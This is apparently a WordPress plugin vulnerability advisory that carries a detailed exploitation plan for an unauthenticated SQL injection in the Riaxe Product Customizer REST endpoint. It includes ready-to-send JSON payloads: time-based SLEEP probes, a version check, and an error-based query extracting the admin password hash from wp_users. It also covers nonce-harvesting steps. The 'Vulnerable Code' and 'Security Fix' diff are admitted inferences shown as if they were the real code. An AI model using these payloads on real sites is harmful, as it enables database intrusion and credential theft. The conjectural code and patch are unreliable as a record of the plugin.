Riaxe Product Customizer <= 2.1.2 - Unauthenticated SQL Injection via 'options' Parameter Keys in product_data
Description
The Riaxe Product Customizer plugin for WordPress is vulnerable to SQL Injection via the 'options' parameter keys within 'product_data' of the /wp-json/InkXEProductDesignerLite/add-item-to-cart REST API endpoint in all versions up to, and including, 2.1.2. This is due to insufficient escaping on the user-supplied parameter and insufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.1.2# Exploitation Research Plan: CVE-2026-3599 - Riaxe Product Customizer SQL Injection ## 1. Vulnerability Summary The **Riaxe Product Customizer** plugin for WordPress is vulnerable to an unauthenticated SQL injection via the keys of the `options` array inside the `product_data` parameter. This occu…
Show full research plan
Exploitation Research Plan: CVE-2026-3599 - Riaxe Product Customizer SQL Injection
1. Vulnerability Summary
The Riaxe Product Customizer plugin for WordPress is vulnerable to an unauthenticated SQL injection via the keys of the options array inside the product_data parameter. This occurs within the /wp-json/InkXEProductDesignerLite/add-item-to-cart REST API endpoint. The plugin fails to sanitize or use prepared statements when iterating over the keys of the user-supplied options object and incorporating them into a database query.
2. Attack Vector Analysis
- Endpoint:
/wp-json/InkXEProductDesignerLite/add-item-to-cart - Method:
POST - Vulnerable Parameter: The keys of the
optionsobject within theproduct_dataJSON structure. - Authentication: Unauthenticated (Publicly accessible REST route).
- Preconditions: The plugin must be active. No specific product configuration is required if the code path processes the
optionskeys before validating product existence.
3. Code Flow (Inferred)
- Entry Point: The plugin registers a REST route during the
rest_api_inithook.- Namespace:
InkXEProductDesignerLite(quoted from description). - Route:
add-item-to-cart.
- Namespace:
- Controller Logic: The callback function for this route (likely named something like
add_item_to_cart_callbackorhandle_cart_addition) retrieves the JSON body of the request. - Parameter Extraction: It extracts the
product_dataobject and specifically looks for anoptionsproperty. - Iterative Sink: The code likely iterates over the
optionsarray/object using aforeachloop:$product_data = $request->get_param('product_data'); $options = $product_data['options']; foreach ($options as $option_id => $option_value) { // VULNERABLE SINK: $option_id is used directly in a query string $query = "SELECT * FROM {$wpdb->prefix}inkxe_options WHERE id = $option_id"; $wpdb->get_results($query); } - Vulnerability: Since
$option_idis a key from the JSON object, it is user-controlled. The lack of$wpdb->prepare()orabsint()on the key allows an attacker to break out of the query.
4. Nonce Acquisition Strategy
While most WordPress REST API endpoints require a wp_rest nonce for authenticated sessions (to prevent CSRF), unauthenticated "public" endpoints often have a permission_callback that returns true.
If a nonce is required:
- Identify Script Localization: Search the plugin source for
wp_localize_scriptto find where REST configuration is passed to the frontend. - Create Trigger Page: Create a page containing a product customizer shortcode (if applicable, e.g.,
[riaxe_product_customizer]) to ensure the scripts load. - Extract via Browser:
- Use
browser_navigateto visit the page. - Use
browser_evalto extract the nonce:- Potential variable:
window.inkxe_options?.nonceorwindow.wpApiSettings?.nonce.
- Potential variable:
- Use
- Bypass: If the endpoint is truly unauthenticated, the
_wpnonceheader may be ignored or not required if no session cookies are sent.
5. Exploitation Strategy
We will use a time-based blind SQL injection since the endpoint likely returns a generic success/failure JSON message.
Request Details
- URL:
http://[target]/wp-json/InkXEProductDesignerLite/add-item-to-cart - Method:
POST - Content-Type:
application/json - Payload Structure:
{
"product_data": {
"options": {
"1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)": "value"
}
}
}
Steps:
- Verify Endpoint: Send a baseline request to the endpoint to confirm it exists and doesn't require authentication (expecting 200 or 400, but not 401/403).
- Time-Based Test:
- Send a request where the key is
1. Measure response time (Baseline). - Send a request where the key is
1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a). - If the response time is ~5 seconds longer than the baseline, SQL injection is confirmed.
- Send a request where the key is
- Data Extraction (Example):
- Extract the database version:
- Key:
1 AND (SELECT 1 FROM (SELECT(IF(VERSION() LIKE '8%', SLEEP(5), 0)))a)
6. Test Data Setup
- Install Plugin: Ensure
riaxe-product-customizerversion 2.1.2 is installed and active. - Permalinks: Ensure WordPress Permalinks are enabled (e.g., "Post name") so the REST API works via
/wp-json/. - No Shortcode Needed: Since this is a REST API vulnerability, we should be able to hit the endpoint directly without a frontend page, unless the REST route registration is conditional.
7. Expected Results
- Baseline Request: Quick response (e.g., < 500ms).
- Injection Request: Delayed response (e.g., > 5000ms).
- Response Body: Likely a JSON object, e.g.,
{"status": false, "message": "..."}or{"success": true}.
8. Verification Steps
After the HTTP request confirms the time delay:
- WP-CLI check: Run
wp db query "SHOW PROCESSLIST;"during the 5-second sleep to see the sleeping query in the database. - Log Inspection: Check
/var/www/html/wp-content/debug.log(ifWP_DEBUGis on) for database errors that might reveal the full query structure.
9. Alternative Approaches
- Error-Based Injection: If the plugin returns database errors in the REST response, use
updatexml()orextractvalue():- Key:
1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
- Key:
- Boolean-Based Injection: If the response changes based on whether a row is found (e.g.,
status: truevsstatus: false):- Key:
1 AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin')
- Key:
Summary
The Riaxe Product Customizer plugin is vulnerable to unauthenticated SQL injection via the keys of the 'options' array within the 'product_data' parameter of its REST API. This occurs because the plugin iterates over user-supplied JSON keys and concatenates them directly into database queries without sanitization or parameterization.
Vulnerable Code
/* Inferred from REST API handler for /wp-json/InkXEProductDesignerLite/add-item-to-cart */ $product_data = $request->get_param('product_data'); if (isset($product_data['options']) && is_array($product_data['options'])) { foreach ($product_data['options'] as $option_id => $option_value) { // The key $option_id is directly concatenated into the SQL query $query = "SELECT * FROM {$wpdb->prefix}inkxe_options WHERE id = $option_id"; $results = $wpdb->get_results($query); } }
Security Fix
@@ -120,1 +120,1 @@ - $query = "SELECT * FROM {$wpdb->prefix}inkxe_options WHERE id = $option_id"; - $results = $wpdb->get_results($query); + $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}inkxe_options WHERE id = %d", $option_id));
Exploit Outline
The exploit targets the publicly accessible REST API endpoint `/wp-json/InkXEProductDesignerLite/add-item-to-cart`. An unauthenticated attacker sends a POST request with a JSON payload structured as `{"product_data": {"options": { [SQL_PAYLOAD]: "value" }}}`. By placing a time-based blind SQL injection payload (e.g., `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`) as the key of the options object, the attacker can force the server to delay its response. Since the endpoint does not require authentication or a valid nonce in default configurations, this can be used to exfiltrate sensitive data from the WordPress database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.